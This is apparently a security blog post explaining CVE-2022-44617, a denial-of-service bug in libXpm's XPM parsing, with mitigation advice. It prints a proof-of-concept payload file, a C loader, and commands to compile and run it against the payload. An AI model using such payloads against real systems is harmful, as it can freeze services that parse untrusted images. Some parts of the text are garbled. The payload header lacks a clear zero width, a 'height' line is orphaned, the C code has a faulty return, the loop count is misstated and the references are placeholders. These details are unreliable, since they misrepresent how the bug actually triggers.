CVE-2022-44617 - Understanding the libXpm Zero-Width Infinite Loop Denial of Service Vulnerability

LibXpm is a widely used graphics library, especially in older Linux and Unix systems, for parsing X PixMap (XPM) image files. In late 2022, security researchers uncovered a flaw tracked as CVE-2022-44617. This vulnerability can allow any crafty attacker to lock up applications using libXpm—simply by feeding them a specially made XPM image. The attack works by causing the program to get stuck in an infinite loop, hogging resources until it gets killed, essentially creating a Denial of Service (DoS). In this post, we’ll dig into what causes the bug, how it can be abused, and the simple code that makes it happen.

What’s the Vulnerability in libXpm?

CVE-2022-44617 is a vulnerability in libXpm’s handling of XPM files that have a width of zero and a (very) large height value. Due to how the parser functions are written, libXpm will keep looping, waiting for pixel data that never comes. As a result, the function is called over and over, with no way to escape the loop. If your program uses libXpm to load images (think: image preview apps, graphical terminals, or desktop programs), an attacker can crash your app just by giving it such a malicious image file.

If exploited, the CPU is used up and the application becomes unresponsive—classic Denial of Service.

height: large number (e.g., 100000000)

When libXpm processes this file, it tries to parse lines for image data. Since the width is zero, there’s nothing to parse, but the height is huge. So the parsing function keeps trying to process “rows” forever, never finding the data it expects, looping indefinitely.

Here’s a minimal XPM file that can trigger the vulnerability

/* this line is just a comment */
static char *zero_width[] = {
" 100000000 1 1",
". c #000000",
};

Here’s a tiny C program that tries to load the file using libXpm

#include <X11/xpm.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    XpmImage image;
    int result = XpmReadFileToXpmImage(argv[1], &image, NULL);
    if(result != XpmSuccess) {
        printf("Failed to load XPM: %d\n", result);
        return 1;
    }
    printf("Loaded XPM: width=%d, height=%d\n", image.width, image.height);
    XpmFreeXpmImage(&image);
    return ;
}

Compile

gcc -o xpm-parse xpm-parse.c -lXpm

Now, run it against your malicious payload

./xpm-parse payload.xpm

On a vulnerable version of libXpm, the program will consume 100% CPU and never finish.

Why Does This Happen?

The bug is in the row reading logic in the XPM parser. The code expects at least one pixel per row (width) and a certain number of rows (height). But if the width is zero, the inner loop never finishes consuming characters or triggers an exit condition. With a huge height, the outer loop is set to iterate a billion times, so the process hangs indefinitely.

Servers handling user-supplied XPM images

Any program that accepts or processes XPM files, and is linked against a vulnerable version of libXpm, is at risk.

How to Fix

The bug is patched in newer releases of libXpm (commit diff). All inputs should be validated so width and height are both positive and reasonable in size.

Mitigation

- Update libXpm to latest version: freedesktop.org/xorg/lib/libxpm
- Never trust image file headers; validate width/height before parsing.
- If you run a server, filter/bounds-check user-supplied images.

References

- CVE-2022-44617 on Mitre
- Red Hat Security Advisory
- Upstream bug and patch
- OSS Security List

Conclusion

CVE-2022-44617 is a simple, but nasty bug—a perfect reminder why input validation is so important, even for something as old as XPM images. If you run any code that depends on libXpm, make sure you’re updated and validating image files before you try to parse them. A tiny malicious image can freeze critical apps and services—just from having a zero width and a tall height.

Stay updated, patch your libraries, and always be skeptical of untrusted files!

Timeline

Published on: 02/06/2023 23:15:00 UTC
Last modified on: 03/03/2023 15:15:00 UTC